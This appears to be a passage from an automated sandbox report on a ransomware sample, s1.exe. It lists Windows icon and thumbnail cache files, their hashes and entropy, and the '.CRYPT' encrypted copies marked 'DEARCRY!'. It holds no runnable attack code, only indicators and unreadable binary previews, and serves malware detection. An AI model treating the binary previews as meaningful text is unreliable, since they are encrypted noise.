                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1248
                                                              Entropy (8bit):7.706890084089965
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AF93EE30D8900B806CCE8FBDC3F10348
                                                              SHA1:C771160DFC3D113225934BBE1DEF73F0E2546E9A
                                                              SHA-256:0E8DB2DA1B9482B7CDC7DF3BD89FC21A43A160A61E9F09522606939509FBCB21
                                                              SHA-512:75F75493BBF675022D557DB0432D59232438CE705F5CCF767678756FC1DD89213E2EE61E757DB3E530A960D3340EEA2F2F3C642447646166FAAB55A7CB61C093
                                                              Malicious:false
                                                              Preview: DEARCRY!....4i.\.y.O/W..H.vi.v.......U#C.*..46..y5aPA.U^2..;...@K.v..L@.e...<..G..M.....m.N....2BZ&........J....m.].9.".MAGxG...Z..3.G.zD<.V...Y..p..z..n..7N.......A./p.|W16..*.T....v...9.iI.0...M.M.R.19....7Z.........cJO.....`.R.Iu[6e..B.s...T...J66T.nX.4....................YR...!..v...Ps......v.DEARCRY!....E..jI..`....L.....!Ju...x+.Afo.O.A..>*i.l?.x..lmB.v.`E..F7...N...'....[./p.-1...&%H.=.2.c|.....S..X..s.1..~........De....Fjv.#..}2n.#A..Zy..'P...7T..i;...._..*.v0.u{1.(H..g.8 @6w..=..GCf.v..q.y.M...Px..K.f[.Y3.MjV..........bpc.....j..(.x....e..............a................~;k.U.....z9DEARCRY!....:!..r..|..T..]..9.aEJ.j.i....w.7.z.F.Wgp..!...?. .`P..4k.......e...gV...............u..NT.FP.....ZS.0...P./."/.Z..y.*\.E.y.?.7.h-.;_..Q..!=.....D83...}...,D2..~_l*..!'.m..,...{?...`*^.7..;h..9.&-.{.O.....c...:.T......6s...,.7} .!n..W..+..............s......n1.!...h.....U2..!...pDEARCRY!.....P..2U...T.f..B>.\.4.V.H2.4!`.F.\.x..i..v...z.!OE..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.217293295788418
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CE7694CB20913025132039400024911F
                                                              SHA1:17B648FC9F380D5855B9A8B6B20C44DA78B018E4
                                                              SHA-256:1BAD0D54A4FF5A85513E8C3337F42454B7CDB281E7BA24CB940ACF358D3F00D8
                                                              SHA-512:99684C0585A61AA6425F05D406DD6B5AE3171ED432BE2D5F7D18BBF29A6ACA70E64F36F9D3C355A307C8C303013F80BC8164036120F2725ED263E2460E76AE1F
                                                              Malicious:false
                                                              Preview: DEARCRY!....s;...e5..f......K.....\E..U..E;L8....y8J..zp.....w..c.r....c.Y..X.et.f/W..8...Z7._...*..9.A.\.&6.u..u>....Z..b.Z{...3...Ye.G..s.a..}D..g... ^.:. ?..=E.../kNn.).g:...h....X...2~.k.^..h....../.;..n:k9.7..u..\.1$.v..#X\,7..b.)I52?R.].<.d..W.p.S.................../...gc4....^K.9.e......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.254888967481349
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8CB6904B35CEB1A923FAB69D0802E3EE
                                                              SHA1:750918DE14AC2601E9CBE965B739A2C1ECCF2879
                                                              SHA-256:E24D3B76BEAA2C5CA794A7F687E852572C971EC2869A6C1CE9DFD094A7E6F3ED
                                                              SHA-512:C485B65F767A16AA46A49ECFB662187A810EB8BE339E32293D490AA6454622BD7C15E9E2CDF60A6BFBFEFF0EB7CB9902FA8C28B34E9DA70E094DF7FED7FBD501
                                                              Malicious:false
                                                              Preview: DEARCRY!....W..:..F.+...9...X........C.,..am.L...K<Q?.r.Cn..Q..{.0E.....)..i.+/..Y}....I.....=K6..M......4.,.E.$........>W...Zc.J.*.\.*B(.<....=`..g......ka.g.2.m_....xXmf/.....z..+T)$CW.qx~=..)s..Vj..1.....Nb...u...[.6z...9#...q......Z..D......F%x......)............u..u.&....y..E.M.X...1..D..q..<
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):116928
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0E890EEF4999DC1F7E7CD2F831D5086A
                                                              SHA1:695139C8DB7E37C10E5D62298B53661E57D4DEE9
                                                              SHA-256:91A88D63A7A63CD027FFD0D5F82705C7C34BC480E41F320BDE5EBD48FEA1F11F
                                                              SHA-512:7F9561BA6CA52943CB4E99EA2BD8020A6C1D2008FD12B7CD7A2EDFA46A7E1385F1AFC4A3E1107BD3240C3F4743B298C139AAD89455D68CDA748FC42E6DD0CBA9
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):118112
                                                              Entropy (8bit):7.9979779161989
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:A8E79DC2AC6EA8D76C6F2AABA971A72B
                                                              SHA1:0D39E131165B2591F2942AC2165816D9B80A8FE8
                                                              SHA-256:0C0FD643C94162D54ECC241E6D8A8AA3DFE5F3B6ECE6F35DF726C9261A4E06FD
                                                              SHA-512:5A64F944F5588DE74657454D8F2143DF73896583B8B7E93711B7585D5B720B32B0149AA2EDA6536425D36B0EBC0C07679B26B3AB0A301BEA085436546C1F633B
                                                              Malicious:true
                                                              Preview: DEARCRY!.........W.@....g.F.RR.\X...;."L..Ff>n./8'.c.K... ...W.}....}.t?3.@...J[]..>....).=!\.....l...2..#.^b|.p..1.8..S.t..=..!..,j..@....L=o.G.. .........*......A......0F.g.V".S.v%.....n...Q.U|.Zd<.d.L.:~...0y.Q<.F....W.E.......lhu......I.U0G.4.}Q9E..!x.F......0r.......t.'0.O.$..R_(.X.T6..h..r.i....v.t.i@.xk.~|%z.......Md.N`l..0.V {..-p....ka...I.r.?.M...O..$|.^......."..$.@.z..YOp.f.YcHq.G.l%.q ....z..3.+U..c.86.*b.m-<.....\..).(q.U.vy..f.i]...c.)Z.a......Y...2p.m.......mD...k....+.P.aPq"VQ.....*........R..:.:..G4i........B..7...":.Q#.64..(............@....a...puM....1../.....<+W.cV...S..>...E3D...zGu..d.KY........j.$....e.-a......K.?zc29g....a&.Q...V.2....A~.*).1Ps_5.<..<...RR...E0.....m.1/w...h.S......HD...A..m..#.8.}.g.._q...."W.....s........m.....'..V?...h..O..b.UL~`.|......z.}.i..}..'..y.$/..RbF7.){..@....j......CAi".|j.....m8..4...W"M:...L..kY....x.P...v:9,..6w.{....C=.].e...K...;C~...&.....1..>px.0.xU.;.#....,h..4.k%7.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):96
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:954792A8BA2F259C097CEF263D266ADF
                                                              SHA1:4E3872621039B359E7371BB9810430A5A2C78195
                                                              SHA-256:69D62C062D67D8D2CE9068C1898FB9746C911839AA88AD1628D090F4C8E47F05
                                                              SHA-512:C9D2BD91736B0A41D69C6A2C179EE04A83B00AD126214BA02681E037DA5A88DAF9938A7ACED080721CC1B4EA84CC20BAB4F6E07CA93C03D649332485DA92AFD5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1248
                                                              Entropy (8bit):7.73345354632256
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8AA1DFF85A791836E187EE7176AA8B5
                                                              SHA1:1ABF83D54CB6BC2785953C82C613C31DED68681D
                                                              SHA-256:160191B291AA90620FAD996A605B2B610E214C01915C654723253F68EFB7C7AC
                                                              SHA-512:DD38B9E80EBEF85AD9E59FD048D5D70919D754BABD58277B18F043FEF3111EF59D8ECEDD2009208CA36F7D993901703D4A87622DC02FF12F648E12AA812BE80C
                                                              Malicious:false
                                                              Preview: DEARCRY!...._.>......gs...q..a...=..q@;+.7......t..{.}".C+.....q+.[...Om.._.y.^..t.'M.V2..$...Q..k....K8.~'.K....s`&lS.O.e....ZQIa5.....i./.Wm>W.YS8".)Z:h..{.....7.n[.dR.L...........n..Z..,...;..K.....{.."...J,8..x.'...Y........6!L.?.ML......$J.b]....z.:.j.{.............!N..wjF......w=d.)..o... 7....DEARCRY!....i..*......'.%...!....T.`...*...p...<..E.p...lb...C...W.XJ.Pf....2KV.i+..N.vX..K...e.....Y.{rQ.U...nM....OI.....8..I...9....@....,u....1.....C.}....I8.:r6.8R#....^o/.......^.....X.4"._......k.7.*..#\..a.....5......L.....91..P..[-..!.ew'T.Gt..I.................Y..M...z....#......C?..p.x.DEARCRY!....X8.*..1...O.>..x9......:t8%.*9....[.d.TW"s4.v6.47}.#k.R.A.3Y.6#ydb...'"...\.A......$ vp........N....O*.J..4..:.$......%....=...8oa.~....u..)).O...^7..D.....e......q....5'......G.Z.I...}|K..~....a..Y..Q...w[.g5.P.S .XD.R.B.o.n......W2?R}........h.................8.*..TKO..%..2H`...!...5DEARCRY!....v..fh..y#8....x_.T.u............1..Y..;.S.....j
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.194220876307947
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CAC03F2D06D2424A56A81C7D83EA9947
                                                              SHA1:E39FC284B2656738C57F8FACF10878CCE77F6A5E
                                                              SHA-256:54631F0CF8AC9684DFCB8160178C364D402D6BDD15B28CC22E9CC9D6384A27F9
                                                              SHA-512:083A7CB76DD3784E77E75E6B157F0CB5509872CC9685DF83D0DE003529D1651ECC3BA61DF920578D56B14FB66F10493A2FA771A8E8A13C745835931C3BA37833
                                                              Malicious:false
                                                              Preview: DEARCRY!....H...NY.uw|......d..=B....W..fW...w..X...I...it.L..l..HU.0.>ySc...Y.u.l..0`'&...=tXD....z....Bi..+..Ss.pa......M6...W.=..M.....v. W.|.h.T.v.T... ?..K.....n.A.q.........L`K.....=6..b.6*..!...MC.9Ot.<|UO.:...[3zG.>.1^.G].}s.x'.6..O.3g...D...............hK.nc..d.J[v..b2D.Ix....7N...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.238303412974136
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:08A5A74D01F0679E9910F3AEE5A94EE0
                                                              SHA1:39A97B8FC6333DBFAD219B2B0276D0BB0D2AE7D3
                                                              SHA-256:986EFCDF4626BC70A4D043F19C7BA582FA62E44363CA9EC0C66B46E2A26FAFFD
                                                              SHA-512:9FD5A3E9B752F116ADAC9778E5F0CAA3B9638C2E52F61BDD9B2F8EE598D1FB71D06CF843092EA4174A3CD8906C9ABE9B857D8C987BD0E4A24913663E2416FDBB
                                                              Malicious:false
                                                              Preview: DEARCRY!.........#...w./..].....e.Q..tJ.y..~.......,..8h.~++qA#}8...=..r...R5...C .A.D.....5Q6p..Rq..$Z.........}.u.XC?.D../.F.8..m..O.4HiC...4._5yR.b.t.&.?B.T....m..&J..K. .....jgz]...G..........`;f{...T.-...&.O :..`..j..."......}.".....(.xr..... #[............m...r.!c..U..F.'...k.....Y4.W%c
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.2126221210490815
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8216177C4B3F0A0B09B08B87FAF7A74B
                                                              SHA1:208FD8BF93B2B16C78925CC4211F1ACD4992123D
                                                              SHA-256:75AEF73443316806750700C2B2A32F224DA23A7CAE66603B8F6F01E1F6A2CDB0
                                                              SHA-512:14A44F86EB90DFCAAD560EE101DD6317E8CA36C3709D73FC405042AF6CA284ED1C8473DBD0E4E10AE796AC23E6E16D075528E23593C7B21BCEDA08FAC11D8237
                                                              Malicious:false
                                                              Preview: DEARCRY!.......0~.z`....2.....)j.*.........t..(..(....@).....3M...E...Ru...FH...?......a.Ud...X.v..o].../J,..f.GF8\.`}..'.^....`6Z..%.*m.........Y.+..7....*.a. (..oa..T...aT.u...$`&.#.._I.......7.bC.......7.Q.A.A.X.Nh..2.._.Z5......+.G...../..G....}.Q..................@.n.z.....*.7..V1..&..P3..}.U
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.9999597825175846
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:DFB2B086D58F8F3C3D5BF1BE1FA452F9
                                                              SHA1:4CFA15CC0156C40D9A0170A1C1AA105AD52A12EA
                                                              SHA-256:261D801DFA6C26506AE8B24E9F6D0919A6F61DC97DFE4A4A8C85DCD0B056BD6D
                                                              SHA-512:3B68C2A010E60943CC800F4CA892106F7DEBB47B06E1D660F31386678EBBBE44C1A111704E5A386B457606D91DD494C20313DDD92F88ACA5EE10A673E9765F48
                                                              Malicious:true
                                                              Preview: DEARCRY!......z4/E..%\fh.....X/a.{.`3.......jw...J.w!.....n.....6....fM...Tm(k..B4....A(i.h......${Rdq._). .z.H..q..F8`.F..s......W.$@y....<.6.%.[x..nJA...sff.3.U.{.<E/..5.....U...Y....a..g.g.un.......h.....D.^CHhT.?..(._.$......DB<..S..Y'..m...S;....."............f.e.V...../....2..p.dx....i...z44]q....~....O..;./.Yyg.Z...d....(\&b..m%..j.#......X..&.{.o...].X.......s..c....b....N.i.....gd5#(....P_....V.Z(...7.2.M&.BL..o"..X.. J..ssf.`........\.=...$...`w;...{..L..-..._<.}.E.&....u.R...........KgBg..c[.........>...jA{,d..D..S.^.1.......8[Ih.[J.H.....[.r.5.]..`n9.,G..Q.~....>U...,...HU.+vw.q..R7...].."..r.Qs0.xM|Gs8..a..i.+\}b..........^Qr.p..........?gCG;...nC..D.S.@.P....M..\L.>...<A.....N..C.UzA.@D...D.J.Q%.(...1\a......R.UM.fy...9...l!]. ......Qz.&;'.(5b.y^........f..*A...@8=..=63..).......K..:e.r@.N...7...38.xG..7P.i...y]?.B...T@...E...H.......5...\.+......S...-C.xvK...L..i.g......,P..P.~..Q.......h..CH..u...Y{..........b.......(...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.218526858609722
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F09A9A490B81B9944EDD09A82B747756
                                                              SHA1:51B74B7D841204690906AE32B3A8A11A52CEA6C1
                                                              SHA-256:839D4A602137AB6A1C7AD767204AB3A418D3DA79B6C8478574C55987136DFE43
                                                              SHA-512:BD62F0DB7E196B998EDFB7A6C198DB7961FD52E4D52A32139068F54EA98645011B3BD5A49D9320337AFC11A9A99C8DCD414F1E72D58427935B577A9556D06904
                                                              Malicious:false
                                                              Preview: DEARCRY!....Ty}^XX..{.H..*...7x....^Y...D.(g.....UJS.....L.....s.1...m......Qgn...2*.e....zQ.J..c.A...t\+U....S.U~..?.FUB.=.".]V\|wO.->.b...Z...u-..G....e...C..y..W..1.dk...t...~I.RM.b..D...~...P4.~..24.....l.Xp.E*%%.~r...Ufs..Z^YK.".m.....s...d..7..5gYy..Q.............BZ...hw...n...([VdMd..)y...m.aR
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3145728
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DCE339BCCBE03338086BB3432034A345
                                                              SHA1:AD532D14102F6C0D9472EAD218CAA4AEFA7CCE60
                                                              SHA-256:A57493C037EB3A8A86FF87072EDDE226110455CD7FDAB2F87BB4DF072F67FFB0
                                                              SHA-512:221C63BB5C948225CF86CFE4DE1A73279147734522ABFB4C5F89D856D7BAD846B5E61ADAD3643FC45E2805F3967AF7919E2DCB8C4DAB97F27034FF87A12D3D4A
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.CRYPT
